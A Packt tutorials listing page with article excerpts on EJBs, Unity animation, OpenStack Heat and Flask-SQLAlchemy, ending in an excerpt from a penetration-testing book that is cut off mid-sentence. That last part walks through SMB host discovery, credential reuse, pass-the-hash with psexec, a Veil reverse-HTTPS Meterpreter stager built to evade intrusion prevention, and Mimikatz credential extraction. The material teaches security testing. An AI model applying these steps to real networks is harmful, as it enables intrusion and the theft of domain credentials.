Search icon CANCEL
Subscription
0
Cart icon
Your Cart (0 item)
Close icon
You have no products in your basket yet
Arrow left icon
Explore Products
Best Sellers
New Releases
Books
Events
Videos
Audiobooks
Packt Hub
Free Learning
Arrow right icon
timer SALE ENDS IN
0 Days
:
00 Hours
:
00 Minutes
:
00 Seconds

How-To Tutorials

7019 Articles
article-image-creating-jee-application-ejb
Packt
24 Sep 2015
11 min read
Save for later

Creating a JEE Application with EJB

Packt
24 Sep 2015
11 min read
In this article by Ram Kulkarni, author of Java EE Development with Eclipse (e2), we will be using EJBs (Enterprise Java Beans) to implement business logic. This is ideal in scenarios where you want components that process business logic to be distributed across different servers. But that is just one of the advantages of EJB. Even if you use EJBs on the same server as the web application, you may gain from a number of services that the EJB container provides to the applications through EJBs. You can specify security constraints for calling EJB methods declaratively (using annotations), and you can also easily specify transaction boundaries (specify which method calls from a part of one transaction) using annotations. In addition to this, the container handles the life cycle of EJBs, including pooling of certain types of EJB objects so that more objects can be created when the load on the application increases. (For more resources related to this topic, see here.) In this article, we will create the same application using EJBs and deploy it in a Glassfish 4 server. But before that, you need to understand some basic concepts of EJBs. Types of EJB EJBs can be of following types as per the EJB 3 specifications: Session bean: Stateful session bean Stateless session bean Singleton session bean Message-driven bean In this article, we will focus on session beans. Session beans In general, session beans are meant for containing methods used to execute the main business logic of enterprise applications. Any Plain Old Java Object (POJO) can be annotated with the appropriate EJB-3-specific annotations to make it a session bean. Session beans come in three types, as follows. Stateful session bean One stateful session bean serves requests for one client only. There is a one-to-one mapping between the stateful session bean and the client. Therefore, stateful beans can hold state data for the client between multiple method calls. In our CourseManagement application, we can use a stateful bean to hold the Student data (student profile and the courses taken by him/her) after a student logs-in. The state maintained by the Stateful bean is lost when the server restarts or when the session times out. Since there is one stateful bean per client, using a stateful bean might impact the scalability of the application. We use the @Stateful annotation to create a stateful session bean. Stateless session bean A stateless session bean does not hold any state information for any client. Therefore, one session bean can be shared across multiple clients. The EJB container maintains pools of stateless beans, and when a client request comes, it takes out a bean from the pool, executes methods, and returns the bean to the pool. Stateless session beans provide excellent scalability because they can be shared and need not be created for each client. We use the @Stateless annotation to create a stateless session bean. Singleton session bean As the name suggests, there is only one instance of a singleton bean class in the EJB container (this is true in the clustered environment too; each EJB container will have an instance of a singleton bean). This means that they are shared by multiple clients, and they are not pooled by EJB containers (because there can be only one instance). Since a singleton session bean is a shared resource, we need to manage concurrency in it. Java EE provides two concurrency management options for singleton session beans: container-managed concurrency and bean-managed concurrency. Container-managed concurrency can easily be specified by annotations. See https://docs.oracle.com/javaee/7/tutorial/ejb-basicexamples002.htm#GIPSZ for more information on managing concurrency in a singleton session bean. Using a singleton bean could have an impact on the scalability of the application if there are resource contentions in the code. We use the @Singleton annotation to create a singleton session bean Accessing a session bean from the client Session beans can be designed to be accessed locally (within the same application as a session bean) or remotely (from a client running in a different application or JVM) or both. In the case of remote access, session beans are required to implement a remote interface. For local access, session beans can implement a local interface or no interface (the no-interface view of a session bean). Remote and local interfaces that session beans implement are sometimes also called business interfaces, because they typically expose the primary business functionality. Creating a no-interface session bean To create a session bean with a no-interface view, create a POJO and annotate it with the appropriate EJB annotation type and @LocalBean. For example, we can create a local stateful Student bean as follows: import javax.ejb.LocalBean; import javax.ejb.Singleton; @Singleton @LocalBean public class Student { ... } Accessing a session bean using dependency injection You can access session beans by either using the @EJBannotation (for dependency injection) or performing a Java Naming and Directory Interface (JNDI) lookup. EJB containers are required to make the JNDI URLs of EJBs available to clients. Dependency injection of session beans using @EJB work only for managed components, that is, components of the application whose life cycle is managed by the EJB container. When a component is managed by the container, it is created (instantiated) by the container and also destroyed by the container. You do not create managed components using the new operator. JEE-managed components that support direct injection of EJBs are servlets, managed beans of JSF pages and EJBs themselves (one EJB can have other EJBs injected into it). Unfortunately, you cannot have a web container injecting EJBs into JSPs or JSP beans. Also, you cannot have EJBs injected into any custom classes that you create and are instantiated using the new operator. We can use the Student bean (created previously) from a managed bean of JSF, as follows: import javax.ejb.EJB; import javax.faces.bean.ManagedBean; @ManagedBean public class StudentJSFBean { @EJB private Student studentEJB; } Note that if you create an EJB with a no-interface view, then all the public methods in that EJB will be exposed to the clients. If you want to control which methods can be called by clients, then you should implement the business interface. Creating a session bean using a local business interface A business interface for EJB is a simple Java interface with either the @Remote or @Local annotation. So we can create a local interface for the Student bean as follows: import java.util.List; import javax.ejb.Local; @Local public interface StudentLocal { public List<Course> getCourses(); } We implement a session bean like this: import java.util.List; import javax.ejb.Local; import javax.ejb.Stateful; @Stateful @Local public class Student implements StudentLocal { @Override public List<CourseDTO> getCourses() { //get courses are return … } } Clients can access the Student EJB only through the local interface: import javax.ejb.EJB; import javax.faces.bean.ManagedBean; @ManagedBean public class StudentJSFBean { @EJB private StudentLocal student; } The session bean can implement multiple business interfaces. Accessing a session bean using a JNDI lookup Though accessing EJB using dependency injection is the easiest way, it works only if the container manages the class that accesses the EJB. If you want to access EJB from a POJO that is not a managed bean, then dependency injection will not work. Another scenario where dependency injection does not work is when EJB is deployed in a separate JVM (this could be on a remote server). In such cases, you will have to access EJB using a JNDI lookup (visit https://docs.oracle.com/javase/tutorial/jndi/ for more information on JNDI). JEE applications can be packaged in an Enterprise Application Archive (EAR), which contains a .jar file for EJBs and a WAR file for web applications (and the lib folder contains the libraries required for both). If, for example, the name of an EAR file is CourseManagement.ear and the name of an EJB JAR file in it is CourseManagementEJBs.jar, then the name of the application is CourseManagement (the name of the EAR file) and the module name is CourseManagementEJBs. The EJB container uses these names to create a JNDI URL for lookup EJBs. A global JNDI URL for EJB is created as follows: "java:global/<application_name>/<module_name>/<bean_name>![<bean_interface>]" java:global: Indicates that it is a global JNDI URL. <application_name>: The application name is typically the name of the EAR file. <module_name>: This is the name of the EJB JAR. <bean_name>: This is the name of the EJB bean class. <bean_interface>: This is optional if EJB has a no-interface view, or if it implements only one business interface. Otherwise, it is a fully qualified name of a business interface. EJB containers are also required to publish two more variations of JNDI URLs for each EJB. These are not global URLs, which means that they can't be used to access EJBs from clients that are not in the same JEE application (in the same EAR): "java:app/[<module_name>]/<bean_name>![<bean_interface>]" "java:module/<bean_name>![<bean_interface>]" The first URL can be used if the EJB client is in the same application, and the second URL can be used if the client is in the same module (the same JAR file as the EJB). Before you look up any URL in a JNDI server, you need to create an InitialContext that includes information, among other things such as the hostname of JNDI server and the port on which it is running. If you are creating InitialContext in the same server, then there is no need to specify these attributes: InitialContext initCtx = new InitialContext(); Object obj = initCtx.lookup("jndi_url"); We can use the following JNDI URLs to access a no-interface (LocalBean) Student EJB (assuming that the name of the EAR file is CourseManagement and the name of the JAR file for EJBs is CourseManagementEJBs): URL When to use java:global/CourseManagement/ CourseManagementEJBs/Student The client can be anywhere in the EAR file, because we are using a global URL. Note that we haven't specified the interface name because we are assuming that the Student bean provides a no-interface view in this example. java:app/CourseManagementEJBs/Student The client can be anywhere in the EAR. We skipped the application name because the client is expected to be in the same application. This is because the namespace of the URL is java:app. java:module/Student The client must be in the same JAR file as EJB. We can use the following JNDI URLs to access the Student EJB that implemented a local interface, StudentLocal: URL When to use java:global/CourseManagement/ CourseManagementEJBs/Student!packt.jee.book.ch6.StudentLocal The client can be anywhere in the EAR file, because we are using a global URL. java:global/CourseManagement/ CourseManagementEJBs/Student The client can be anywhere in the EAR. We skipped the interface name because the bean implements only one business interface. Note that the object returned from this call will be of the StudentLocal type, and not Student. java:app/CourseManagementEJBs/Student Or java:app/CourseManagementEJBs/Student!packt.jee.book.ch6.StudentLocal   The client can be anywhere in the EAR. We skipped the application name because the JNDI namespace is java:app. java:module/Student Or java:module/Student!packt.jee.book.ch6.StudentLocal The client must be in the same EAR as the EJB. Here is an example of how we can call the Student bean with the local business interface from one of the objects (that is not managed by the web container) in our web application: InitialContext ctx = new InitialContext(); StudentLocal student = (StudentLocal) ctx.loopup ("java:app/CourseManagementEJBs/Student"); return student.getCourses(id) ; //get courses from Student EJB Creating EAR for Deployment outside Eclipse. Summary EJBs are ideal for writing business logic in web applications. They can act as the perfect bridge between web interface components, such as a JSF, servlet, or JSP, and data access objects, such as JDO. EJBs can be distributed across multiple JEE application servers (this could improve application scalability) and their life cycle is managed by the container. EJBs can easily be injected into managed objects or can be looked up using JNDI. The Eclipse JEE makes creating and consuming EJBs very easy. The JEE application server Glassfish can also be managed and applications can be deployed from within Eclipse. Resources for Article: Further resources on this subject: Contexts and Dependency Injection in NetBeans[article] WebSockets in Wildfly[article] Creating Java EE Applications [article]
Read more
  • 0
  • 0
  • 16346

article-image-zombie-attacks
Packt
24 Sep 2015
9 min read
Save for later

The Zombie Attacks!

Packt
24 Sep 2015
9 min read
 In this article by Jamie Dean author of the book Unity Character Animation with Mecanim: RAW, we will demonstrate the process of importing and animating a rigged character in Unity. In this article, we will cover: Starting a blank Unity project and importing the necessary packages Importing a rigged character model in the FBX format and adjusting import settings Typically, an enemy character such as this will have a series of different animation sequences, which will be imported separately or together from a 3D package. In this case, our animation sequences are included in separate files. We will begin, by creating the Unity project. (For more resources related to this topic, see here.) Setting up the project Before we start exploring the animation workflow with Mecanim's tools, we need to set up the Unity project: Create a new project within Unity by navigating to File | New Project.... When prompted, choose an appropriate name and location for the project. In the Unity - Project Wizard dialog that appears, check the relevant boxes for the Character Controller.unityPackage and Scripts.unityPackage packages. Click on the Create button. It may take a few minutes for Unity to initialize. When the Unity interface appears, import the PACKT_cawm package by navigating to Assets | Import Package | Custom Package.... The Import package... window will appear. Navigate to the location where you unzipped the project files, select the unity package, and click on Open.The assets package will take a little time to decompress. When the Importing Package checklist appears, click on the Import button in the bottom-right of the window. Once the assets have finished importing, you will start with a default blank scene. Importing our enemy Now, it is time to import our character model: Minimize Unity. Navigate to the location where you unzipped the project files. Double-click on the Models folder to view its contents. Double-click on the zombie_m subfolder to view its contents.The folder contains an FBX file containing the rigged male zombie model and a separate subfolder containing the associated textures. Open Unity and resize the window so that both Unity and the zombie_m folder contents are visible. In Unity, click on the Assets folder in the Project panel. Drag the zombie_m FBX asset into the Assets panel to import it.Because the FBX file contains a normal map, a window will pop up asking if you want to set this file's import settings to read it correctly. Click on the Fix Now button. FBX files can contain embedded bitmap textures, which can be imported with the model. This will create subfolders containing the materials and textures within the folder where the model has been imported. Leaving the materials and textures as subfolders of the model will make them difficult to find within the project. The zombie model and two folders should now be visible in the FBX_Imports folder in the Assets panel. In the next step, we will move the imported material and texture assets into the appropriate folders in the Unity project. Organizing the material and textures The material and textures associated with the zombie_m model are currently located within the FBX_Imports folder. We will move these into different folders to organize them within the hierarchy of our project: Double-click on the Materials folder and drag the material asset contained within it into the PACKT_Materials folder in the Project panel. Return to the FBX_Imports folder by clicking on its title at the top of the Assets panel interface. Double-click on the textures folder. This will be named to be consistent with the model. Drag the two bitmap textures into the PACKT_Textures folder in the Project panel. Return to the FBX_Imports folder and delete the two empty subfolders.The moved material and textures will still be linked to the model. We will make sure of this by instancing it in the current empty scene. Drag the zombie_m asset into the Hierarchy panel. It may not be immediately visible within the Scene view due to the default import scale settings. We will take care of this in the next step. Adjusting the import scale Unity's import settings can be adjusted to account for the different tools commonly used to create 2D and 3D assets. Import settings are adjusted in the Inspector panel, which will appear on the right of the unity interface by default: Click on the zombie_m game object within the Hierarchy panel.This will bring up the file's import settings in the Inspector panel. Click on the Model tab. In the Scale Factor field, highlight the current number and type 1. The character model has been modeled to scale in meters to make it compatible with Unity's units. All 3D software applications have their own native scale. Unity does a pretty good job at accommodating all of them, but it often helps to know which software was used to create them. Scroll down until the Materials settings are visible. Uncheck the Import Materials checkbox.Now that we have got our textures and materials organized within the project, we want to make sure they are not continuously imported into the same folder as the model. Leave the remaining Model Import settings at their default values.We will be discussing these later on in the article, when we demonstrate the animation import. Click on the Apply button. You may need to scroll down within the Inspector panel to see this: The zombie_m character should now be visible in the Scene view: This character model is a medium resolution model—4410 triangles—and has a single 1024 x 1024 albedo texture and separate 1024 x 1024 specular and normal maps. The character has been rigged with a basic skeleton. The rigging process is essential if the model is to be animated. We need to save our progress, before we get any further: Save the scene by navigating to File | Save Scene as.... Choose an appropriate filename for the scene. Click on the Apply button. Despite the fact that we have only added a single game object to the default scene, there are more steps that we will need to take to set up the character and it will be convenient for us to save the current set up in case anything goes wrong. In the character animation, there are looping and single-shot animation sequences. Some animation sequences such as walk, run, idle are usually seamless loops designed to play back-to-back without the player being aware of where they start and end. Other sequences, typically, shooting, hitting, being injured or dying are often single-shot animations, which do not need to loop. We will start with this kind, and discuss looping animation sequences later in the article. In order to use Mecanim's animation tools, we need to set up the character's Avatar so that the character's hierarchy of bones is recognized and can be used correctly within Unity. Adjusting the rig import settings and creating the Avatar Now that we have imported the model, we will need to adjust the import settings so that the character functions correctly within our scene: Select zombie_m in the Assets panel. The asset's import settings should become visible within the Inspector panel. This settings rollout contains three tabs: Model, Rig, and Animations. Since we have already adjusted the Scale Factor within the Model Import settings, we will move on to the Rig import settings where we can define what kind of skeleton our character has. Choosing the appropriate rig import settings Mecanim has three options for importing rigged models: Legacy, Generic, and Humanoid. It also has a none option that should be applied to models that are not intended to be animated. Legacy format was previously the only option for importing skeletal animation in Unity. It is not possible to retarget animation sequences between models using Legacy, and setting up functioning state machines requires quite a bit of scripting. It is still a useful tool for importing models with fewer animation sequences and for simple mechanical animations. Legacy format animations are not compatible with Mecanim. Generic is one of the new animation formats that are compatible with Mecanim's animator controllers. It does not have the full functionality of Mecanim's character animation tools. Animations sequences imported with the generic format cannot be retargeted and are best used for quadrupeds, mechanical devices, pretty much anything except a character with two arms and two legs. The Humanoid animation type allows the full use of Mecanim's powerful toolset. It requires a minimum of 15 bones, and assumes that your rig is roughly human shaped with a pair of arms and legs. It can accommodate many more intermediary joints and some basic facial animation. One of the greatest benefits of using the Humanoid type is that it allows animation sequences to be retargeted or adapted to work with different rigs. For instance, you may have a detailed player character model with a full skeletal rig (including fingers and toes joints), maybe you want to reuse this character's idle sequence with a background character that is much less detailed, and has a simpler arrangement of bones. Mecanim makes it possible reuse purpose built motion sequences and even create useable sequences from motion capture data. Now that we have introduced these three rig types, we need to choose the appropriate setting for our imported zombie character, which in this case is Humanoid: In the Inspector panel, click on the Rig tab. Set the Animation Type field to Humanoid to suit our character skeleton type. Leave Avatar Definition set to Create From This Model. Optimize Game Objects can be left checked. Click on the Apply button to save the settings and transfer all of the changes that you have made to the instance in the scene.  The Humanoid animation type is the only one that supports retargeting. So if you are importing animations that are not unique and will be used for multiple characters, it is a good idea to use this setting. Summary In this article, we covered the major steps involved in animating a premade character using the Mecanim system in Unity. We started with FBX import settings for the model and the rig. We covered the creation of the Avatar by defining the bones in the Avatar Definition settings. Resources for Article: Further resources on this subject: Adding Animations[article] 2D Twin-stick Shooter[article] Skinning a character [article]
Read more
  • 0
  • 0
  • 25732

article-image-orchestration-service-openstack
Packt
24 Sep 2015
6 min read
Save for later

The orchestration service for OpenStack

Packt
24 Sep 2015
6 min read
This article by Adnan Ahmed, the author of the book, OpenStack Orchestration, will discuss the orchestration service for OpenStack. (For more resources related to this topic, see here.) Orchestration is a main feature provided and supported by OpenStack. It is used to orchestrate cloud resources, including applications, disk resources, IP addresses, load balancers, and so on. Heat contains a template engine that supports text files, where cloud resources are defined. These text files are defined in a special format compatible with Amazon CloudFormation. A new OpenStack native standard has also been developed for providing templates for orchestration called HOT (Heat Orchestration Template). Heat provides two types of clients; namely, a command-line client and a web-based client integrated into OpenStack dashboard. The orchestration project (Heat) itself is composed of several subcomponents. These subcomponents are listed as follows: Heat Heat engine Heat API Heat API-CFN Heat uses the term stack to define a group of services, resources, parameters inputs, constraints, and dependencies. A stack can be defined using a text file; however, the important point is to use the correct format. The JASON format used by AWS Cloud Formation is also supported by Heat. Heat workflow Heat provides two types of interfaces, including a web-based interface integrated into the OpenStack dashboard, and also a command-line interface (CLI), which can be used from inside a Linux shell. The interfaces use the Heat API to send commands to the Heat engine via the messaging service (for example, Rabbit MQ). A metering service such as the Ceilometer or CloudWatch API is used to monitor the performance of resources in the stack. These monitoring/metering services are used to trigger actions upon reaching a certain threshold. An example of this could be automatically launching a redundant web server behind a load balancer when the CPU load on the primary web server reaches above 90 percent. The orchestration authorization model The Heat component of OpenStack uses an authorization model composed of mainly two types: Password-based authorization Authorization-based on OpenStack identity trusts This process is known as orchestration authorization. Password authorization In this type of authorization, a password is expected from the user. This password must match with the password stored in a database by the Heat engine in an encrypted form. The following are the steps used to generate a username/password: A request is made to the Heat engine for a token or an authorization password. Normally, the Heat command-line client or the dashboard is used. The validation checks will fail if the stack contains any resources under deferred operations. If everything is normal, then a username/password is provided. The username/password are stored in the database in encrypted form. In some cases, the Heat engine, after obtaining the credentials, requests another token on the user's behalf, and thereafter, access to all the roles of stack owner are provided. Keystone trusts authorization Keystone trusts are extensions to the OpenStack identity service that are used for enabling delegation of resources. The trustor and the trustee are the two delegates used in this method. The trustor is the user who delegates and the trustee is the user who is being delegated. The following information from the trustor is required by the identity service to delegate a trustee: The ID of the trustee (the user to be delegated, in the case of Heat, it will be the Heat user) The roles to be delegated (The roles are configured using the Heat configuration file. For example, to launch a new instance to achieve auto-scaling in the case of reaching a threshold) Trusts authorization execution The creating a Stack via an API request step can be followed to execute a trust-based authorization. A token is used to create a trust between the stack owner (the trustor) and the Heat service user (also known as trustee in this case). A special role is delegated. This role must be predefined in the trusts_delegated-roles list inside the heat.conf file. By default, all the available roles for trustor are set to be available for the trustee if it is not modified using a local RBAC policy. This trust ID is stored in an encrypted form in the database. This trust ID is retrieved from the database when an operation is required. Authorization model configuration Heat used to support the password-based authorization until the Kilo version of OpenStack was released. Using the kilo version of OpenStack, the following changes can be made to enable trusts-based authorization in the Heat configuration file: Default setting in heat.conf: deferred_auth_method=password To be replaced to enable trusts-based authentication: deferred_auth_method=trusts The following parameter need to be set to specify trustor roles: trusts_delegated_roles = As mentioned earlier, all available roles for trustor will be assigned to the trustee if no specific roles are mentioned in the heat.conf file. Stack domain users The Heat stack domain user is used to authorize a user to carry out certain operations inside a virtual machine. Agents running inside virtual machine instances are provided with metadata. These agents repot and share the performance statistics of the VM on which they are running. They use this metadata to apply any changes or some sort of configuration expressed in the metadata. A signal is passed to the Heat engine when an event is completed successfully or with failed status. A typical example could be to generate an alert when the installation of an application is completed on a specific virtual machine after its first reboot. Heat provides features for encapsulating all the stack-defined users into a separate domain. This domain is usually created to store the information related to the Heat service. A domain admin is created, which is used by Heat for the management of the stack-domain users. Summary In this article, we learned that Heat is the orchestration service for OpenStack. We learned about the Heat authorization models, including password authorization, keystone trust authorization, and how these models work. For more information on OpenStack, you can visit: https://www.packtpub.com/virtualization-and-cloud/mastering-openstack https://www.packtpub.com/virtualization-and-cloud/openstack-essentials Resources for Article: Further resources on this subject: Using OpenStack Swift[article] Installing OpenStack Swift [article] Securing OpenStack Networking [article]
Read more
  • 0
  • 0
  • 1967

Packt
24 Sep 2015
8 min read
Save for later

Snap – The Code Snippet Sharing Application

Packt
24 Sep 2015
8 min read
In this article by Joel Perras, author of the book Flask Blueprints, we will build our first fully functional, database-backed application. This application with the codename, Snap, will allow users to create an account with a username and password. In this account, users will be allowed to add, update, and delete the so-called semiprivate snaps of text (with a focus on lines of code) that can be shared with others. For this you should be familiar with at least one of the following relational database systems: PostgreSQL, MySQL, or SQLite. Additionally, some knowledge of the SQLAlchemy Python library, which acts as an abstraction layer and object-relational mapper for these (and several other) databases, will be an asset. If you are not well versed in the usage of SQLAlchemy, fear not. We will have a gentle introduction to the library that will bring the new developers up to speed and serve as a refresher for the more experienced folks. The SQLite database will be our relational database of choice due to its very simple installation and operation. The other database systems that we listed are all client/server-based with a multitude of configuration options that may need adjustment depending on the system they are installed in, while SQLite's default mode of operation is self-contained, serverless, and zero-configuration. Any major relational database supported by SQLAlchemy as a first-class citizen will do. (For more resources related to this topic, see here.) Diving In To make sure things start correctly, let's create a folder where this project will exist and a virtual environment to encapsulate any dependencies that we will require: $ mkdir -p ~/src/snap && cd ~/src/snap $ mkvirtualenv snap -i flask This will create a folder called snap at the given path and take us to this newly created folder. It will then create the snap virtual environment and install Flask in this environment. Remember that the mkvirtualenv tool will create the virtual environment, which will be the default set of locations to install the packages from pip, but the mkvirtualenv command does not create the project folder for you. This is why we will run a command to create the project folder first and then create the virtual environment. Virtual environments, by virtue of the $PATH manipulation performed once they are activated, are completely independent of where in your file system your project files exist. We will then create our basic blueprint-based project layout with an empty users blueprint: application ├── __init__.py ├── run.py └── users ├── __init__.py ├── models.py └── views.py Flask-SQLAlchemy Once this has been established, we need to install the next important set of dependencies: SQLAlchemy, and the Flask extension that makes interacting with this library a bit more Flask-like, Flask-SQLAlchemy: $ pip install flask-sqlalchemy This will install the Flask extension to SQLAlchemy along with the base distribution of the latter and several other necessary dependencies in case they are not already present. Now, if we were using a relational database system other than SQLite, this is the point where we would create the database entity in, say, PostgreSQL along with the proper users and permissions so that our application can create tables and modify the contents of these tables. SQLite, however, does not require any of that. Instead, it assumes that any user that has access to the filesystem location that the database is stored in should also have permission to modify the contents of this database. For the sake of completeness, however, here is how one would create an empty database in the current folder of your filesystem: $ sqlite3 snap.db # hit control-D to escape out of the interactive SQL console if necessary.   As mentioned previously, we will be using SQLite as the database for our example applications and the directions given will assume that SQLite is being used; the exact name of the binary may differ on your system. You can substitute the equivalent commands to create and administer the database of your choice if anything other than SQLite is being used. Now, we can begin the basic configuration of the Flask-SQLAlchemy extension. Configuring Flask-SQLAlchemy First, we must register the Flask-SQLAlchemy extension with the application object in the application/__init__.py: from flask import Flask fromflask.ext.sqlalchemy import SQLAlchemy app = Flask(__name__) app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///../snap.db' db = SQLAlchemy(app) The value of app.config['SQLALCHEMY_DATABASE_URI'] is the escaped relative path to the snap.db SQLite database that we created previously. Once this simple configuration is in place, we will be able to create the SQLite database automatically via the db.create_all() method, which can be invoked in an interactive Python shell: $ python >>>from application import db >>>db.create_all() This should be an idempotent operation, which means that nothing would change even if the database already exists. If the local database file did not exist, however, it would be created. This also applies to adding new data models: running db.create_all() will add their definitions to the database, ensuring that the relevant tables have been created and are accessible. It does not, however, take into account the modification of an existing model/table definition that already exists in the database. For this, you will need to use the relevant tools (for example, the sqlite CLI) to modify the corresponding table definitions to match those that have been updated in your models or use a more general schema tracking and updating tool such as Alembic to do the majority of the heavy lifting for you. SQLAlchemy basics SQLAlchemy is, first and foremost, a toolkit to interact with the relational databases in Python. While it provides an incredible number of features—including the SQL connection handling and pooling for various database engines, ability to handle custom datatypes, and a comprehensive SQL expression API—the one feature that most developers are familiar with is the Object Relational Mapper. This mapper allows a developer to connect a Python object definition to a SQL table in the database of their choice, thus allowing them the flexibility to control the domain models in their own application and requiring only minimal coupling to the database product and the engine-specific SQLisms that each of them exposes. While debating the usefulness (or the lack thereof) of an object relational mapper is outside the scope of for those who are unfamiliar with SQLAlchemy we will provide a list of benefits that using this tool brings to the table, as follows: Your domain models are written to interface with one of the most well-respected, tested, and deployed Python packages ever created—SQLAlchemy. Onboarding new developers to a project becomes an order of magnitude easier due to the extensive documentation, tutorials, books, and articles that have been written about using SQLAlchemy. Import-time validation of queries written using the SQLAlchemy expression language; instead of having to execute each query string against the database to determine if there is a syntax error present. The expression language is in Python and can thus be validated with your usual set of tools and IDE. Thanks to the implementation of design patterns such as the Unit of Work, the Identity Map, and various lazy loading features, the developer can often be saved from performing more database/network roundtrips than necessary. Considering that the majority of a request/response cycle in a typical web application can easily be attributed to network latency of one form or another, minimizing the number of database queries in a typical response is a net performance win on many fronts. While many successful, performant applications can be built entirely on the ORM, SQLAlchemy does not force it upon you. If, for some reason, it is preferable to write raw SQL query strings or to use the SQLAlchemy expression language directly, then you can do that and still benefit from the connection pooling and the Python DBAPI abstraction functionality that is the core of SQLAlchemy itself. Now that we've given you several reasons why you should be using this database query and domain data abstraction layer, let's look at how we would go about defining a basic data model. Summary After having gone through this article we have seen several facets of how Flask may be augmented with the use of extensions. While Flask itself is relatively spartan, the ecology of extensions that are available make it such that building a fully fledged user-authenticated application may be done quickly and relatively painlessly. Resources for Article: Further resources on this subject: Creating Controllers with Blueprints[article] Deployment and Post Deployment [article] Man, Do I Like Templates! [article]
Read more
  • 0
  • 0
  • 3109

article-image-exploiting-services-python
Packt
24 Sep 2015
15 min read
Save for later

Exploiting Services with Python

Packt
24 Sep 2015
15 min read
In this article by Christopher Duffy author of the book Learning Python Penetration Testing, we will learn about one of the big misconceptions with testing for the synchronization of account credentials today, is the prevalence of exploitable. You will still find vulnerabilities that can be exploited by overflowing the stack or heap, they are just significantly reduced or more complex. (For more resources related to this topic, see here.) Testing for the synchronization of account credentials With these results, we can determine if any of these credentials are reused in the network. We know there are Windows hosts primarily in the target network, but we need to identify which ones have port 445 open. We can then try and determine, which accounts might grant us access, when the following command is run: nmap -sS -vvv -p445 192.168.195.0/24 -oG output Then, parse the results for open ports with the following command, which will provide a file of target hosts with Server Message Block (SMB) enabled. grep 445/open output| cut -d" " -f2 >> smb_hosts The passwords can be extracted directly from John and written a password file that can be used for follow-on service attacks. john --show unshadowed |cut -d: -f2|grep -v " " > passwords Always test on a single host the first time you run this type of attack. In this example, we are using the sys account, but it is more common to use the root account or similar administrative accounts to test password reuse (synchronization) in an environment. The following attack using auxiliary/scanner/smb/smb_enumusers_domain will check for two things. It will identify what systems this account has access to, and the relevant users that are currently logged into the system. In the second portion of this example, we will highlight how to identify the accounts that are actually privileged and part of the Domain. There are good points and bad points about the smb_enumusers_domain module. The bad points are that you cannot load multiple usernames and passwords into it. That capability is reserved for the smb_login module. The problem with smb_login is that it is extremely noisy, as many signature detection tools flag on this method of testing for logins. The third module smb_enumusers, which can be used, but it only provides details related to locale users as it identifies users based on the Security Accounts Manager (SAM) file contents. So, if a user has a Domain account and has logged into the box, the smb_enumusers module will not identify them. So, understand each module and its limitations when identifying targets to laterally move. We are going to highlight how to configure the smb_enumusers_domain module and execute it. This will show an example of gaining access to a vulnerable host and then verifying DA account membership. This information can then be used to identify where a DA is located so that Mimikatz can be used to extract credentials. For this example, we are going to use a custom exploit using Veil as well, to attempt to bypass a resident Host Intrusion Prevention System (HIPS). More information about Veil can be found here at https://github.com/Veil-Framework/Veil-Evasion.git. So, we configure the module to use the password batman, and we target the local administrator account on the system. This can be changed, but often the default is used. Since it is the local administrator, the Domain is set to WORKGROUP. The following figure shows the configuration of the module: Before running commands such as these, make sure to use spool, to output the results to a log file so you can go back and review the results. As you can see in the following figure, the account provided details about who was logged into the system. This means that there are logged in users relevant to the returned account names and that the local administrator account will work on that system. This means this system is ripe for compromise by a Pass-the-Hash attack (PtH). The psexec module allows you to either pass the extracted Local Area Network Manager (LM): New Technology LM (NTLM) hash and username combination or just the username password pair to get access. To begin with, we setup a custom multi/handler to catch the custom exploit we generated by Veil as shownfollowing. Keep in mind, I used 443 for the local port because it bypasses most HIPS and the local host will change depending on your host. Now, we need to generate custom payloads with Veil to be used with the psexec module. You can do this by navigating to the Veil-Evasion installation directory and running it with python Veil-Evasion.py. Veil has a good number of payloads that can be generated with a variety of obfuscation or protection mechanisms, to see the specific payload you want to use, to execute the list command. You can select the payload by typing in the number of the payload or the name. As an example, run the following commands to generate a C Sharp stager that does not use shell code, keep in mind this requires specific versions of .NET on the target box to work. use cs/meterpreter/rev_tcp set LPORT 443 set LHOST 192.168.195.160 set use_arya Y generate There are two components to a typical payload, the stager and the stage. A stager sets up the network connection between the attacker and the victim. Payloads that often use native system languages can be purely stager. The second part is the stage, which are the components that are downloaded by the stager. These can include things like your Meterpreter. If both items are combined, they are called a single; think about when you create your malicious Universal Serial Bus (USB) drives, these are often singles. The output will be an executable, that will spawn an encrypted reverse HyperText Transfer Protocol Secure (HTTPS) Meterpreter. The payload can be tested with the script checkvt, which safely verifies if the payload would be picked up by most HIPS solutions. It does this without uploading it to Virus Total, and in turn does not add the payload to the database, which many HIPS providers pull from. Instead, it compares the hash of the payload to those already in the database. Now, we can setup the psexec module to reference the custom payload for execution. Update the psexec module, so that it uses the custom payload generated by Veil-Evasion, via set EXE::Custom and disable the automatic payload handler with set DisablePayloadHandler true, as shown following: Exploit the target box, and then attempt to identify who the DAs are in the Domain. This can be done in one of two ways, either by using the post/windows/gather/enum_domain_group_users module or the following command from shell access. net group "Domain Admins" We can then Grep through the spooled output file from the previously run module to locate relevant systems that might have these Das logged into. When gaining access to one of those systems, there would likely be DA tokens or credentials in memory, which can be extracted and reused. The following command is an example of how to analyze the log file for these types of entries. grep <username> <spoofile.log> As you can see, this very simple exploit path allows you to identify where the DAs are. Once you are on the system all you have to do is load mimikatz and extract the credentials typically with the wdigest command from the established Meterpreter session. Of course, this means the system has to be newer than Windows 2000, and have active credentials in memory. If not, it will take additional effort and research to move forward. To highlight this, we use our established session to extract credentials with Mimikatz as you can see following. The credentials are in memory and since the target box was Windows XP machine, we have no conflicts and no additional research is required. In addition to the intelligence we have gathered from extracting the active DA list from the system, we now have another set of confirmed credentials that can be used. Rinsing and repeating this method of attack allows you to quickly move laterally around the network till you identify viable targets. Automating the exploit train with Python This exploit train is relatively simple, but we can automate a portion of this with the Metasploit Remote Procedure Call (MSFRPC). This script will use the nmap library to scan for active ports of 445, then generate a list of targets to test using a username and password passed via argument to the script. The script will use the same smb_enumusers_domain module to identify boxes that have the credentials reused and other viable users logged into them. First, we need to install SpiderLabs msfrpc library for Python. This library can be found here at https://github.com/SpiderLabs/msfrpc.git. The script we are creating uses the netifaces library to identify what interface IP addresses belong to your host. It then scans for port 445 the SMB port on the IP address, range, or the Classes Inter Domain Routing (CIDR) address. It eliminates any IP addresses that belong to your interface and then tests the credentials using the Metasploit module auxiliary/scanner/smb/smb_enumusers_domain. At the same time, it verifies what users are logged onto the system. The outputs of this script in addition to real time response are two files, a log file that contains all the responses, and a file that holds the IP addresses for all the hosts that 